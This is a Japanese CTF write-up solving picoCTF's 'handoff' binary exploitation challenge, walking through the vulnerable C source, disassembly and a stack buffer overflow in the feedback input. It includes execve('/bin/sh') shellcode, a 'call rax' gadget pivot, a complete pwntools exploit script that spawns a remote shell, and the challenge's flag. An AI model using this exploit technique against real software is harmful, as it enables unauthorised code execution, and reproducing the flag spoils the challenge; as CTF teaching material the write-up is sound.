handoff (Binary Exploitation)
Download the binary here Download the source here Connect to the program with netcat: $ nc shape-facility.picoctf.net 49851
添付ファイル
・handoff
・handoff.c
とりあえず、実行してみる。
$ nc shape-facility.picoctf.net 49851
What option would you like to do?
1. Add a new recipient
2. Send a message to a recipient
3. Exit the app
1でbuffer overflowすると2が想定通りの挙動にならない。
ソースコードを確認する。
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#define MAX_ENTRIES 10
#define NAME_LEN 32
#define MSG_LEN 64
typedef struct entry {
char name[8];
char msg[64];
} entry_t;
void print_menu() {
puts("What option would you like to do?");
puts("1. Add a new recipient");
puts("2. Send a message to a recipient");
puts("3. Exit the app");
}
int vuln() {
char feedback[8];
entry_t entries[10];
int total_entries = 0;
int choice = -1;
// Have a menu that allows the user to write whatever they want to a set buffer elsewhere in memory
while (true) {
print_menu();
if (scanf("%d", &choice) != 1) exit(0);
getchar(); // Remove trailing \n
// Add entry
if (choice == 1) {
choice = -1;
// Check for max entries
if (total_entries >= MAX_ENTRIES) {
puts("Max recipients reached!");
continue;
}
// Add a new entry
puts("What's the new recipient's name: ");
fflush(stdin);
fgets(entries[total_entries].name, NAME_LEN, stdin);
total_entries++;
}
// Add message
else if (choice == 2) {
choice = -1;
puts("Which recipient would you like to send a message to?");
if (scanf("%d", &choice) != 1) exit(0);
getchar();
if (choice >= total_entries) {
puts("Invalid entry number");
continue;
}
puts("What message would you like to send them?");
fgets(entries[choice].msg, MSG_LEN, stdin);
}
else if (choice == 3) {
choice = -1;
puts("Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: ");
fgets(feedback, NAME_LEN, stdin);
feedback[7] = '\0';
break;
}
else {
choice = -1;
puts("Invalid option");
}
}
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0); // No buffering (immediate output)
vuln();
return 0;
}
fgets(entries[total_entries].name, NAME_LEN, stdin);とfgets(feedback, NAME_LEN, stdin);の部分に、BOFがある。
nameとfeedbackが8bytesしかないところ、NAME_LENの64bytes分の文字列を受け取っている。
nameでBOFしても何かできる訳ではないので、ポイントとなるのはfeedbackの方である。
execve("/bin/sh", 0, 0)を実行するshellcodeをmsgに書き込み、msgのshellcodeにジャンプするshellcodeをfeedbackに書き込むことで、shellを起動できてフラグを取得できる。
$ file handoff
handoff: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=92ca62928eb98ee283995cddad65f7732aad5e0f, for GNU/Linux 3.2.0, not stripped
$ checksec handoff
[*] 'handoff'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled
Stripped: No
feedbackに書き込んだshellcodeを実行させる方法を考える。
BOFによる上書きで有効なのは32bytes分であり、ROPは難しい。
feedbackへの書き込みはfgets関数が使われており、fgets関数の戻り値はfeedbackへのポインタなので、fgets関数呼び出し後のraxにはfeedbackへのポインタが格納されていることになる。
call raxのガジェットを探すと、ちょうど使えるものが存在した。
$ ROPgadget --binary handoff | grep "call rax"
0x000000000040100d : add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax
0x0000000000401014 : call rax
0x0000000000401012 : je 0x401016 ; call rax
0x0000000000401010 : test eax, eax ; je 0x401016 ; call rax
0x000000000040100f : test rax, rax ; je 0x401016 ; call rax
このcall rax = 0x401014をreturn addressのところに書き込む。
入力からreturn addressまでのoffsetを計算する。
pwndbg> cyclic -n 4 -l faaa
Finding cyclic pattern of 4 bytes: b'faaa' (hex: 0x66616161)
Found at offset 20
よって、offsetは20bytesである。
feedbackに書き込むshellcodeを考える。
0000000000401229 <vuln>:
401229: f3 0f 1e fa endbr64
40122d: 55 push rbp
40122e: 48 89 e5 mov rbp,rsp
401231: 48 81 ec f0 02 00 00 sub rsp,0x2f0
401238: c7 45 fc 00 00 00 00 mov DWORD PTR [rbp-0x4],0x0
40123f: c7 85 1c fd ff ff ff mov DWORD PTR [rbp-0x2e4],0xffffffff
401246: ff ff ff
401249: b8 00 00 00 00 mov eax,0x0
40124e: e8 a3 ff ff ff call 4011f6 <print_menu>
401253: 48 8d 85 1c fd ff ff lea rax,[rbp-0x2e4]
40125a: 48 89 c6 mov rsi,rax
40125d: bf 79 20 40 00 mov edi,0x402079
401262: b8 00 00 00 00 mov eax,0x0
401267: e8 84 fe ff ff call 4010f0 <__isoc99_scanf@plt>
40126c: 83 f8 01 cmp eax,0x1
40126f: 74 0a je 40127b <vuln+0x52>
401271: bf 00 00 00 00 mov edi,0x0
401276: e8 85 fe ff ff call 401100 <exit@plt>
40127b: e8 40 fe ff ff call 4010c0 <getchar@plt>
401280: 8b 85 1c fd ff ff mov eax,DWORD PTR [rbp-0x2e4]
401286: 83 f8 01 cmp eax,0x1
401289: 75 76 jne 401301 <vuln+0xd8>
40128b: c7 85 1c fd ff ff ff mov DWORD PTR [rbp-0x2e4],0xffffffff
401292: ff ff ff
401295: 83 7d fc 09 cmp DWORD PTR [rbp-0x4],0x9
401299: 7e 0f jle 4012aa <vuln+0x81>
40129b: bf 7c 20 40 00 mov edi,0x40207c
4012a0: e8 fb fd ff ff call 4010a0 <puts@plt>
4012a5: e9 5d 01 00 00 jmp 401407 <vuln+0x1de>
4012aa: bf 98 20 40 00 mov edi,0x402098
4012af: e8 ec fd ff ff call 4010a0 <puts@plt>
4012b4: 48 8b 05 b5 2d 00 00 mov rax,QWORD PTR [rip+0x2db5] # 404070 <stdin@GLIBC_2.2.5>
4012bb: 48 89 c7 mov rdi,rax
4012be: e8 0d fe ff ff call 4010d0 <fflush@plt>
4012c3: 48 8b 0d a6 2d 00 00 mov rcx,QWORD PTR [rip+0x2da6] # 404070 <stdin@GLIBC_2.2.5>
4012ca: 48 8d b5 20 fd ff ff lea rsi,[rbp-0x2e0]
4012d1: 8b 45 fc mov eax,DWORD PTR [rbp-0x4]
4012d4: 48 63 d0 movsxd rdx,eax
4012d7: 48 89 d0 mov rax,rdx
4012da: 48 c1 e0 03 shl rax,0x3
4012de: 48 01 d0 add rax,rdx
4012e1: 48 c1 e0 03 shl rax,0x3
4012e5: 48 01 f0 add rax,rsi
4012e8: 48 89 ca mov rdx,rcx
4012eb: be 20 00 00 00 mov esi,0x20
4012f0: 48 89 c7 mov rdi,rax
4012f3: e8 b8 fd ff ff call 4010b0 <fgets@plt>
4012f8: 83 45 fc 01 add DWORD PTR [rbp-0x4],0x1
4012fc: e9 48 ff ff ff jmp 401249 <vuln+0x20>
401301: 8b 85 1c fd ff ff mov eax,DWORD PTR [rbp-0x2e4]
401307: 83 f8 02 cmp eax,0x2
40130a: 0f 85 a6 00 00 00 jne 4013b6 <vuln+0x18d>
401310: c7 85 1c fd ff ff ff mov DWORD PTR [rbp-0x2e4],0xffffffff
401317: ff ff ff
40131a: bf c0 20 40 00 mov edi,0x4020c0
40131f: e8 7c fd ff ff call 4010a0 <puts@plt>
401324: 48 8d 85 1c fd ff ff lea rax,[rbp-0x2e4]
40132b: 48 89 c6 mov rsi,rax
40132e: bf 79 20 40 00 mov edi,0x402079
401333: b8 00 00 00 00 mov eax,0x0
401338: e8 b3 fd ff ff call 4010f0 <__isoc99_scanf@plt>
40133d: 83 f8 01 cmp eax,0x1
401340: 74 0a je 40134c <vuln+0x123>
401342: bf 00 00 00 00 mov edi,0x0
401347: e8 b4 fd ff ff call 401100 <exit@plt>
40134c: e8 6f fd ff ff call 4010c0 <getchar@plt>
401351: 8b 85 1c fd ff ff mov eax,DWORD PTR [rbp-0x2e4]
401357: 39 45 fc cmp DWORD PTR [rbp-0x4],eax
40135a: 7f 0f jg 40136b <vuln+0x142>
40135c: bf f5 20 40 00 mov edi,0x4020f5
401361: e8 3a fd ff ff call 4010a0 <puts@plt>
401366: e9 9c 00 00 00 jmp 401407 <vuln+0x1de>
40136b: bf 10 21 40 00 mov edi,0x402110
401370: e8 2b fd ff ff call 4010a0 <puts@plt>
401375: 48 8b 0d f4 2c 00 00 mov rcx,QWORD PTR [rip+0x2cf4] # 404070 <stdin@GLIBC_2.2.5>
40137c: 8b 85 1c fd ff ff mov eax,DWORD PTR [rbp-0x2e4]
401382: 48 8d b5 20 fd ff ff lea rsi,[rbp-0x2e0]
401389: 48 63 d0 movsxd rdx,eax
40138c: 48 89 d0 mov rax,rdx
40138f: 48 c1 e0 03 shl rax,0x3
401393: 48 01 d0 add rax,rdx
401396: 48 c1 e0 03 shl rax,0x3
40139a: 48 01 f0 add rax,rsi
40139d: 48 83 c0 08 add rax,0x8
4013a1: 48 89 ca mov rdx,rcx
4013a4: be 40 00 00 00 mov esi,0x40
4013a9: 48 89 c7 mov rdi,rax
4013ac: e8 ff fc ff ff call 4010b0 <fgets@plt>
4013b1: e9 93 fe ff ff jmp 401249 <vuln+0x20>
4013b6: 8b 85 1c fd ff ff mov eax,DWORD PTR [rbp-0x2e4]
4013bc: 83 f8 03 cmp eax,0x3
4013bf: 75 32 jne 4013f3 <vuln+0x1ca>
4013c1: c7 85 1c fd ff ff ff mov DWORD PTR [rbp-0x2e4],0xffffffff
4013c8: ff ff ff
4013cb: bf 40 21 40 00 mov edi,0x402140
4013d0: e8 cb fc ff ff call 4010a0 <puts@plt>
4013d5: 48 8b 15 94 2c 00 00 mov rdx,QWORD PTR [rip+0x2c94] # 404070 <stdin@GLIBC_2.2.5>
4013dc: 48 8d 45 f4 lea rax,[rbp-0xc]
4013e0: be 20 00 00 00 mov esi,0x20
4013e5: 48 89 c7 mov rdi,rax
4013e8: e8 c3 fc ff ff call 4010b0 <fgets@plt>
4013ed: c6 45 fb 00 mov BYTE PTR [rbp-0x5],0x0
4013f1: eb 19 jmp 40140c <vuln+0x1e3>
4013f3: c7 85 1c fd ff ff ff mov DWORD PTR [rbp-0x2e4],0xffffffff
4013fa: ff ff ff
4013fd: bf b6 21 40 00 mov edi,0x4021b6
401402: e8 99 fc ff ff call 4010a0 <puts@plt>
401407: e9 3d fe ff ff jmp 401249 <vuln+0x20>
40140c: 90 nop
40140d: c9 leave
40140e: c3 ret
feedbackの先頭アドレスはrbp-0xcである。
rbp-0x2e4がindex番号で、entriesはname+msgの72bytes区切りになっている。rbp-0x2e0が配列の先頭で、msgはnameの8bytes先なので、8bytesを加算してentires[i].msg = (i*72)+(rbp-0x2e0)+0x8がmsgの先頭アドレスになる。
よって、entries[0].msgの先頭アドレスはrbp-0x2d8である。
以上より、feedbackからentries[0].msgのoffsetは、(rbp-0x2d8) - (rbp-0xc) = -0x2ccである。
raxにはfeedbackへのポインタが格納されているので、そこから0x2ccを減算したアドレスがentries[0].msgの先頭アドレスとなり、shellcodeは以下のようになる。
ちなみに、feedback[7] = '\0';があるので、それを考慮してnopを入れて調整している。
nop
nop
nop
nop
nop
sub rax, 0x200
sub rax, 0xcc
jmp rax
entries[0].msgに書き込むshellcodeを考える。msgには0x40bytes分しか書き込めない。
execve("/bin/sh", 0, 0)を実行するshellcodeは以下の通り。
push rax
xor rdx, rdx
xor rsi, rsi
movabs rbx, 0x68732f2f6e69622f
push rbx
push rsp
pop rdi
mov al, 0x3b
syscall
以下、実行コード。
from pwn import *
context.binary = ('./handoff')
#context.terminal = ['tmux', 'splitw', '-h']
elf = ELF('./handoff')
p = remote('shape-facility.picoctf.net', 49851)
#p = process(elf.path)
#gdb_script = (f"""
# b *0x4013e8
#""")
#gdb.attach(p, gdb_script)
shellcode = asm(
"""
xor rax, rax
push rax
xor rdx, rdx
xor rsi, rsi
movabs rbx, 0x68732f2f6e69622f
push rbx
push rsp
pop rdi
mov al, 0x3b
syscall
"""
)
jmp_to_shellcode = asm(
"""
nop
nop
nop
nop
nop
sub rax, 0x200
sub rax, 0xcc
jmp rax
"""
)
payload = jmp_to_shellcode.ljust(20, b"a")
payload += p64(next(elf.search(asm("call rax;"), executable=True)))
p.sendlineafter(b"app", b"1")
p.sendlineafter(b"name: ", b"a")
p.sendlineafter(b"app", b"2")
p.sendlineafter(b"to?", b"0")
p.sendlineafter(b"them?", shellcode)
p.sendlineafter(b"app", b"3")
p.sendlineafter(b"it: ", payload)
#pause()
p.interactive()
実行する。
$ python3 solve.py
[*] '/colza/handoff'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Opening connection to shape-facility.picoctf.net on port 49851: Done
[*] Switching to interactive mode
$ ls
flag.txt
handoff
start.sh
$ cat flag.txt
picoCTF{p1v0ted_ftw_e4ab0a56}$
$ exit
フラグが得られた。
picoCTF{p1v0ted_ftw_e4ab0a56}
References
https://www.exploit-db.com/exploits/42179
https://new0.medium.com/picoctf-handoff-c44a92f62c3b